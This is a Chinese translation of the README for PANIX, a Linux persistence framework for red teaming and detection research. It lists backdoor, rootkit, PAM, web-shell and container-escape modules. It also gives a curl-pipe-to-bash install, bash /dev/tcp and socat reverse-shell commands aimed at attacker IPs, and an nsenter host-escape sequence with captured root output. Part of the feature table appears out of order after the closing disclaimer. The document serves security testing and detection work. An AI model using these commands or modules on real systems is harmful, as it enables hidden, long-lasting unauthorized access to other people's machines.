
PANIX 是一个功能强大、模块化且高度可定制的 Linux 持久化框架,专为安全研究人员、检测工程师、渗透测试人员、CTF 爱好者等设计。PANIX 以多功能性为设计核心,强调功能性,是理解和实施各种持久化技术的重要工具。

PANIX 提供了一套多功能特性,用于模拟和研究 Linux 持久化机制。
| 功能 | 描述 | Root | 用户 |
|---|---|---|---|
| At Job Persistence | 通过向系统作业添加条目来实现持久化。 | ✅ | ✅ |
| Authorized Keys | 将公钥添加到 authorized_keys 文件以实现 SSH 访问。 | ✅ | ✅ |
| Backdoor User | 创建一个具有 UID=0(root 权限)的后门用户。 | ✅ | ❌ |
| Backdoor System User | 将系统用户作为后门(允许以 news/nobody 身份进行 SSH 访问)。 | ✅ | ❌ |
| Backdoored /etc/passwd | 直接将恶意用户条目添加到 /etc/passwd。 | ✅ | ❌ |
| Backdoored /etc/init.d | 通过 SysVinit(/etc/init.d)建立持久化。 | ✅ | ❌ |
| Backdoored /etc/rc.local | 通过运行控制(/etc/rc.local)建立持久化。 | ✅ | ❌ |
| Bind Shell | 运行预编译的/LOLBin 绑定 shell 以进行远程访问。 | ✅ | ✅ |
| Capabilities Backdoor | 向二进制文件添加特定 capabilities 以维持持久化。 | ✅ | ❌ |
| Cron Job Persistence | 设置 cron 作业以确保跨重启持久化。 | ✅ | ✅ |
| Create User | 在系统上创建新用户账户。 | ✅ | ❌ |
| D-Bus Backdoor | 创建 D-Bus 服务以实现 root 反向 shell 访问。 | ✅ | ❌ |
| Diamorphine Rootkit | 安装 Diamorphine 可加载内核模块 Rootkit。 | ✅ | ❌ |
| Initramfs Persistence | 在重启时将 UID=0 后门用户注入 initramfs。 | ✅ | ❌ |
| Git Persistence | 利用 Git 钩子或分页器在 Git 仓库中实现持久化。 | ✅ | ✅ |
| Generator Persistence | 利用 systemd 生成器创建持久化服务。 | ✅ | ❌ |
| GRUB Backdoor | 操纵 GRUB 以在启动时执行后门。 | ✅ | ❌ |
| Malicious Container | 部署专为容器逃逸设计的 Docker 容器。 | ✅ | ✅ |

PANIX 在各种 Linux 发行版上提供全面支持。
自定义或过期的 Linux 发行版可能具有不同的配置或缺少特定功能,导致机制在未经测试的版本上失效。如果默认命令失败,请使用大多数功能中提供的 --custom 标志来调整适合你环境的路径和命令。如果这仍不能解决问题,请查看并修改脚本以满足你的需求。
我们始终欢迎通过拉取请求或 issue 提交新功能、更新或想法!

PANIX 仓库的设计注重模块化、可维护性和易于扩展。每种持久化机制都包含安装和还原脚本,简化了管理和移除。```plaintext PANIX/ ├── main.sh # Core logic and argument parsing. ├── modules/ # Persistence mechanism scripts. │ ├── common.sh # Shared functions. │ ├── setup_*.sh # Setup scripts. │ └── revert/ # Revert scripts. ├── build.sh # Builds the distributable script. ├── panix.sh # Final distributable script. └── README.md # Documentation.
## 主要优势
- **成对设置与还原**:每个 `setup_*.sh` 都有对应的 `revert_*.sh`,确保持久化机制易于移除。
- **模块化设计**:可以轻松修改现有模块或添加新模块,而不会影响核心脚本。
- **简单扩展**:要添加新功能:
1. 在 `modules/` 中创建新的 `setup_*.sh`。
2. 在 `modules/revert/` 中添加对应的 `revert_*.sh`。
3. 更新 `main.sh` 以包含新脚本。
4. 更新 `common.sh` 以在帮助菜单中包含该模块。
4. 运行 `build.sh` 以生成更新后的 `panix.sh`。

# 快速入门
让 PANIX 启动并运行非常简单,只需从 [发布页面](https://github.com/Aegrah/PANIX/releases/tag/panix-v2.1.0) 下载脚本并执行即可:```
curl -sL https://github.com/Aegrah/PANIX/releases/download/panix-v2.1.0/panix.sh | bash
或者下载并手动执行:```
curl -sL https://github.com/Aegrah/PANIX/releases/download/panix-v2.1.0/panix.sh -o panix.sh wget https://github.com/Aegrah/PANIX/releases/download/panix-v2.1.0/panix.sh -O panix.sh
chmod +x panix.sh ./panix.sh
执行脚本时,将根据当前用户拥有的权限显示 `root` 或 `user` 帮助菜单。```
panix@panix-demo:~$ sudo ./panix.sh
__
|__) /\ |\ | | \_/
| /~~\ | \| | / \
@RFGroenewoud
Root User Options:
--at At job persistence
--authorized-keys Add public key to authorized keys
--backdoor-user Create backdoor user
--backdoor-system-user Create backdoor system user
--bind-shell Execute backgrounded bind shell
--cap Add capabilities persistence
--create-user Create a new user
--cron Cron job persistence
--dbus D-Bus service persistence
--generator Generator persistence
--git Git hook/pager persistence
--grub GRUB bootloader persistence
--initd SysV Init (init.d) persistence
--initramfs Initramfs persistence
--ld-preload LD_PRELOAD backdoor persistence"
--lkm Loadable Kernel Module (LKM) persistence
--malicious-container Docker container with host escape"
--malicious-package Build and Install a package for persistence (DPKG/RPM)
--motd Message Of The Day (MOTD) persistence (not available on RHEL derivatives)
--network-manager NetworkManager dispatcher script persistence
--package-manager Package Manager persistence (APT/YUM/DNF)
--pam Pluggable Authentication Module (PAM) persistence (backdoored PAM & pam_exec)
--passwd-user Add user to /etc/passwd directly
--password-change Change user password
--polkit Allow pkexec as any user through Polkit
--rc-local Run Control (rc.local) persistence
--reverse-shell Reverse shell persistence (supports multiple LOLBins)"
--rootkit Diamorphine (LKM) rootkit persistence
--shell-profile Shell profile persistence
--ssh-key SSH key persistence
--sudoers Sudoers persistence
--suid SUID persistence
--system-binary System binary persistence
--systemd Systemd service persistence
--udev Udev (driver) persistence
--web-shell Web shell persistence (PHP/Python)
--xdg XDG autostart persistence
--revert Revert changes made by PANIX' default options
--mitre-matrix Display the MITRE ATT&CK Matrix for PANIX
--quiet (-q) Quiet mode (no banner)

该脚本大部分内容不言自明,不过本节将展示一些使用 PANIX 的示例。
每个持久化机制都有独立的帮助菜单:``` ruben@ubuntu2204:~$ sudo ./panix.sh --udev --help Usage: ./panix.sh --udev [OPTIONS] --examples Display command examples -default Use default udev settings --ip Specify IP address --port Specify port number --sedexp | --at | --cron | --systemd Specify the mechanism to use --custom Use custom udev settings --command Specify custom command --path Specify custom path --help|-h Show this help message
每个持久化机制还带有一个 `--examples` 标志,用于展示默认和自定义示例,从而帮助你构建出适合自己的命令。```
ruben@ubuntu2204:~$ ./panix.sh --git --examples
Examples:
--default:
./panix.sh --git --default --ip 10.10.10.10 --port 1337 --hook|--pager
--custom:
./panix.sh --git --custom --command "(nohup setsid /bin/bash -c 'bash -i >& /dev/tcp/10.10.10.10/1337 0>&1' > /dev/null 2>&1 &) &" --path "gitdir/.git/hooks/pre-commit" --hook
./panix.sh --git --custom --command "nohup setsid /bin/bash -c 'bash -i >& /dev/tcp/10.10.10.10/1337 0>&1' > /dev/null 2>&1 & ${PAGER:-less}" --path "~/.gitconfig --pager"
大多数持久化机制都非常简单,(希望)不需要太多解释。例如,只需通过执行以下命令即可简单设置 systemd 持久化:``` ruben@ubuntu2204:~$ sudo ./panix.sh --systemd --default --ip 10.10.10.10 --port 1337 Service file created successfully! Timer file created successfully! Created symlink /etc/systemd/system/timers.target.wants/dbus-org.freedesktop.resolved.timer → /usr/local/lib/systemd/system/dbus-org.freedesktop.resolved.timer. [+] Systemd service persistence established!
在设置持久化机制时,脚本会告知你是否成功;在需要信息才能使用该持久化机制的情况下,还会提供额外的信息。例如绑定shell机制:```
ruben@ubuntu2204:~$ sudo ./panix.sh --bind-shell --default --architecture x64
[+] Bind shell binary /tmp/bd64 created and executed in the background.
[+] The bind shell is listening on port 9001.
[+] To interact with it from a different system, use: nc -nv <IP> 9001
[+] Bind shell persistence established!
允许你与绑定 shell 进行交互:``` ❯ nc -nv 192.168.211.130 9001 (UNKNOWN) [192.168.211.130] 9001 (?) open whoami root
这同样适用于具有额外内置功能的机制,例如 Docker 持久化机制,其内置了 root 主机逃逸:```
ruben@ubuntu2204:~$ sudo ./panix.sh --malicious-container --ip 192.168.211.131 --port 330
[+] Building 10.4s (9/9) FINISHED docker:default
=> [internal] load build definition from Dockerfile 0.0s
=> => transferring dockerfile: 722B 0.0s
=> [internal] load metadata for docker.io/library/alpine:latest 2.1s
=> [internal] load .dockerignore 0.0s
=> => transferring context: 2B 0.0s
=> [1/5] FROM docker.io/library/alpine:latest@sha256:b89d9c93e9ed3597455c90a0b88a8bbb5cb7188438f70953fede212a0c4394e0 0.8s
=> => resolve docker.io/library/alpine:latest@sha256:b89d9c93e9ed3597455c90a0b88a8bbb5cb7188438f70953fede212a0c4394e0 0.0s
=> => sha256:b89d9c93e9ed3597455c90a0b88a8bbb5cb7188438f70953fede212a0c4394e0 1.85kB / 1.85kB 0.0s
=> => sha256:dabf91b69c191a1a0a1628fd6bdd029c0c4018041c7f052870bb13c5a222ae76 528B / 528B 0.0s
=> => sha256:a606584aa9aa875552092ec9e1d62cb98d486f51f389609914039aabd9414687 1.47kB / 1.47kB 0.0s
=> => sha256:ec99f8b99825a742d50fb3ce173d291378a46ab54b8ef7dd75e5654e2a296e99 3.62MB / 3.62MB 0.4s
=> => extracting sha256:ec99f8b99825a742d50fb3ce173d291378a46ab54b8ef7dd75e5654e2a296e99 0.2s
=> [2/5] RUN apk add --no-cache bash socat sudo util-linux procps 4.4s
=> [3/5] RUN adduser -D lowprivuser 0.6s
=> [4/5] RUN echo '#!/bin/bash' > /usr/local/bin/entrypoint.sh && echo 'while true; do /bin/bash -c "socat exec:\"/bin/bash\",pty,stderr,setsid,sigint,sane tcp:192.168.211.131:330" 0.8s
=> [5/5] RUN echo '#!/bin/bash' > /usr/local/bin/escape.sh && echo 'sudo nsenter -t 1 -m -u -i -n -p -- su -' >> /usr/local/bin/escape.sh && chmod +x /usr/local/bin/escape.sh && ec 0.8s
=> exporting to image 0.6s
=> => exporting layers 0.6s
=> => writing image sha256:b36eb0d13ee1a0c57c3e6a1ee0255ef474986f44d65b177c539b2ffb1d248790 0.0s
=> => naming to docker.io/library/malicious-container 0.0s
86ce6b00e872bb8c21d0dae21e747e830bb70b44ab7946558e563bf7f4b626ef
[+] Persistence through malicious Docker container complete.
[+] To escape the container with root privileges, run '/usr/local/bin/escape.sh'.
这向您准确展示了如何逃逸容器,并获取对宿主机的访问权限。``` ❯ nc -nvlp 330 listening on [any] 330 ... connect to [192.168.211.131] from (UNKNOWN) [192.168.211.130] 43400 86ce6b00e872:/$ /usr/local/bin/escape.sh /usr/local/bin/escape.sh root@ubuntu2204:~#
## 回滚机制
PANIX 可以通过 `--revert` 命令清理其痕迹。同时适用于单独的模块:```
ruben@ubuntu2204:~$ sudo ./panix.sh --revert rootkit
######################### [+] Reverting rootkit module... #########################
[+] Sending 'kill -63 0' to unload the rootkit module...
[+] Signal sent successfully.
[+] Identifying loaded rootkit kernel modules in /dev/shm/.rk...
[+] Unloading rootkit rkit...
[+] Kernel module 'rkit' unloaded successfully.
[+] Rootkit rkit unloaded successfully.
[+] Removing kernel module files from /dev/shm/.rk...
[+] Removed file: /dev/shm/.rk/restore_rkit.ko
[+] Removed directory: /dev/shm/.rk
[+] Removing downloaded files in /tmp...
[-] Directory not found: /tmp/diamorphine
[-] File not found: /tmp/diamorphine.zip
[+] Removed file: /tmp/diamorphine.tar
[-] Directory not found: /tmp/Diamorphine.git
[+] Reloading kernel modules...
[+] Kernel modules reloaded successfully.
以及对于所有模块:``` ruben@ubuntu2204:~$ sudo ./panix.sh --revert all
[+] Running full reversion with --revert-all... [+] Reverting all modules...
######################### [+] Reverting revert_at... #########################
Error: 'at' binary is not present. Cannot revert 'at' jobs. [-] Failed to revert revert_at. Exit Code: 1
######################### [+] Reverting revert_authorized_keys... #########################
[-] Backup file /root/.ssh/authorized_keys.bak not found. No changes made. [+] revert_authorized_keys reverted successfully.
######################### [+] Reverting revert_backdoor_user... #########################
[+] No backdoor users found. [+] revert_backdoor_user reverted successfully.
######################### [+] Reverting revert_bind_shell... #########################
[+] Searching for bind shell processes and killing them if present... [+] revert_bind_shell reverted successfully.
[...]
[+] Reversion of all modules complete.
## MITRE ATT&CK 矩阵
PANIX 内置了一个 MITRE ATT&CK 矩阵,用于显示可用的技术和子技术。```
ruben@ubuntu2204:~$ ./panix.sh --mitre-matrix
MITRE ATT&CK Matrix - Persistence Techniques Supported by PANIX
Persistence Method Technique Name Technique ID Sub-technique Name Sub-technique ID URL
------------------- -------------- ------------- ----------------- --------------- ---------------------------------------------
--at Scheduled Task T1053 At T1053.002 https://attack.mitre.org/techniques/T1053/002
--authorized-keys Account Manipulation T1098 SSH Authorized Keys T1098.004 https://attack.mitre.org/techniques/T1098/004
--backdoor-user Create Account T1136 Local Account T1136.001 https://attack.mitre.org/techniques/T1136/001
--backdoor-system-user Account Manipulation T1098 SSH Authorized Keys T1098.004 https://attack.mitre.org/techniques/T1098/004
--bind-shell Command and Scripting Interpreter T1059 Unix Shell T1059.004 https://attack.mitre.org/techniques/T1059/004
--cap Abuse Elevation Control Mechanism T1548 N/A N/A https://attack.mitre.org/techniques/T1548
--create-user Create Account T1136 Local Account T1136.001 https://attack.mitre.org/techniques/T1136/001
--cron Scheduled Task T1053 Cron T1053.003 https://attack.mitre.org/techniques/T1053/003
--dbus Create or Modify System Process T1543 N/A N/A https://attack.mitre.org/techniques/T1543
--generator Create or Modify System Process T1543 Systemd Service T1543.002 https://attack.mitre.org/techniques/T1543/002
--git Event Triggered Execution T1546 N/A N/A https://attack.mitre.org/techniques/T1546
--grub Pre-OS Boot T1542 N/A N/A https://attack.mitre.org/techniques/T1542
--initd Boot or Logon Initialization Scripts T1037 N/A N/A https://attack.mitre.org/techniques/T1037
--initramfs Pre-OS Boot T1542 N/A N/A https://attack.mitre.org/techniques/T1542
--ld-preload Hijack Execution Flow T1574 Dynamic Linker Hijacking T1574.006 https://attack.mitre.org/techniques/T1574/006
--lkm Boot or Logon Autostart Execution T1547 Kernel Modules and Extensions T1547.006 https://attack.mitre.org/techniques/T1547/006
--malicious-container Escape to Host T1610 N/A N/A https://attack.mitre.org/techniques/T1610
--malicious-package Event Triggered Execution T1546 Installer Packages T1546.016 https://attack.mitre.org/techniques/T1546/016
--motd Boot or Logon Initialization Scripts T1037 N/A N/A https://attack.mitre.org/techniques/T1037
--network-manager Event Triggered Execution T1546 N/A N/A https://attack.mitre.org/techniques/T1546
--package-manager Event Triggered Execution T1546 Installer Packages T1546.016 https://attack.mitre.org/techniques/T1546/016
--pam Modify Authentication Process T1556 Pluggable Authentication Modules T1556.003 https://attack.mitre.org/techniques/T1556/003
--passwd-user Account Manipulation T1098 N/A N/A https://attack.mitre.org/techniques/T1098
--password-change Account Manipulation T1098 N/A N/A https://attack.mitre.org/techniques/T1098
--polkit Modify Authentication Process T1556 N/A N/A https://attack.mitre.org/techniques/T1556
--rc-local Boot or Logon Initialization Scripts T1037 RC Scripts T1037.004 https://attack.mitre.org/techniques/T1037/004
--reverse-shell Command and Scripting Interpreter T1059 Unix Shell T1059.004 https://attack.mitre.org/techniques/T1059/004
--rootkit Rootkit T1014 N/A N/A https://attack.mitre.org/techniques/T1014
--shell-profile Event Triggered Execution T1546 Unix Shell Configuration Modification T1546.004 https://attack.mitre.org/techniques/T1546/004
--ssh-key Account Manipulation T1098 SSH Authorized Keys T1098.004 https://attack.mitre.org/techniques/T1098/004
--sudoers Abuse Elevation Control Mechanism T1548 Sudo and Sudo Caching T1548.003 https://attack.mitre.org/techniques/T1548/003
--suid Abuse Elevation Control Mechanism T1548 Setuid and Setgid T1548.001 https://attack.mitre.org/techniques/T1548/001
--system-binary Compromise Host Software Binary T1554 N/A N/A https://attack.mitre.org/techniques/T1554
--systemd Create or Modify System Process T1543 Systemd Service T1543.002 https://attack.mitre.org/techniques/T1543/002
--udev Event Triggered Execution T1546 Udev Rules T1546.017 https://attack.mitre.org/techniques/T1546/017
--web-shell Server Software Component T1505 Web Shell T1505.003 https://attack.mitre.org/techniques/T1505/003
--xdg Boot or Logon Autostart Execution T1547 XDG Autostart Entries T1547.013 https://attack.mitre.org/techniques/T1547/013
Legend:
Technique: High-level MITRE ATT&CK technique.
Sub-Technique: Specific sub-technique under a high-level technique.
N/A: No specific sub-technique defined for this method.
URL: Link to the official MITRE ATT&CK page for further details.

以下出版物中使用了 PANIX:
欢迎关注我的社交媒体,了解(Linux)安全研究的最新动态。

通过分享 PANIX,你可以帮助他人测试和改进其安全态势,并为 Linux 安全领域新检测能力的开发提供支持。

PANIX 仅用于经授权的安全测试和研究目的。不纵容将该工具滥用于恶意活动,一切风险完全由用户自行承担。使用 PANIX 即表示你同意对自己的行为负责。别做傻事就行。
| Malicious Package | 安装 DPKG/RPM 包以实现持久化。 | ✅ | ❌ |
| NetworkManager | 安装 dispatcher 脚本,在触发网络操作时实现持久化。 | ✅ | ❌ |
| LD_PRELOAD Backdoor | 使用 LD_PRELOAD 注入恶意库以实现持久化。 | ✅ | ❌ |
| LKM Backdoor | 加载可加载内核模块以维持持久化。 | ✅ | ❌ |
| MOTD Backdoor | 修改每日消息(MOTD)以建立持久化。 | ✅ | ❌ |
| Package Manager | 操控 APT/YUM/DNF,在使用时建立持久化。 | ✅ | ❌ |
| PAM Persistence | 使用恶意模块或 pam_exec 安装 PAM 后门。 | ✅ | ❌ |
| Password Change | 更改用户密码以保护后门账户。 | ✅ | ❌ |
| Polkit Backdoor | 创建权限过高的 Polkit 配置后门。 | ✅ | ❌ |
| Reverse Shell | 建立反向 shell(支持多种 LOLBin)。 | ✅ | ✅ |
| Shell Profile Persistence | 修改 shell 配置文件,以便在用户登录时执行脚本。 | ✅ | ✅ |
| SSH Key Persistence | 操控 SSH 密钥以维持通过 SSH 的持久访问。 | ✅ | ✅ |
| Sudoers Backdoor | 修改 /etc/sudoers 文件以授予提升的权限。 | ✅ | ❌ |
| SUID Backdoor | 通过设置 SUID 位对二进制文件植入后门。 | ✅ | ❌ |
| System Binary Backdoor | 包装系统二进制文件以包含后门功能。 | ✅ | ❌ |
| Systemd Service | 创建 systemd 服务以确保重启后持久化。 | ✅ | ✅ |
| Udev Persistence | 利用驱动程序在硬件交互层面实现持久化。 | ✅ | ❌ |
| Web Shell Persistence | 部署 Web 服务器,通过 Web 界面进行远程访问。 | ✅ | ✅ |
| XDG Autostart | 利用 XDG 自启动目录在用户登录时实现持久化。 | ✅ | ✅ |
| 发行版 | 支持 | 测试版本 |
|---|
| Debian | ✅ | Debian 11 & 12 |
| Ubuntu | ✅ | Ubuntu 22.04(Diamorphine 不可用) |
| RHEL | ✅ | RHEL 9(MOTD 和预操作系统启动技术不可用) |
| CentOS | ✅ | CentOS Stream 9 & 7(MOTD 和预操作系统启动技术不可用) |
| Fedora | ✅ | 尚未完全测试 |
| Arch Linux | ✅ | 尚未完全测试 |
| OpenSUSE | ✅ | 尚未完全测试 |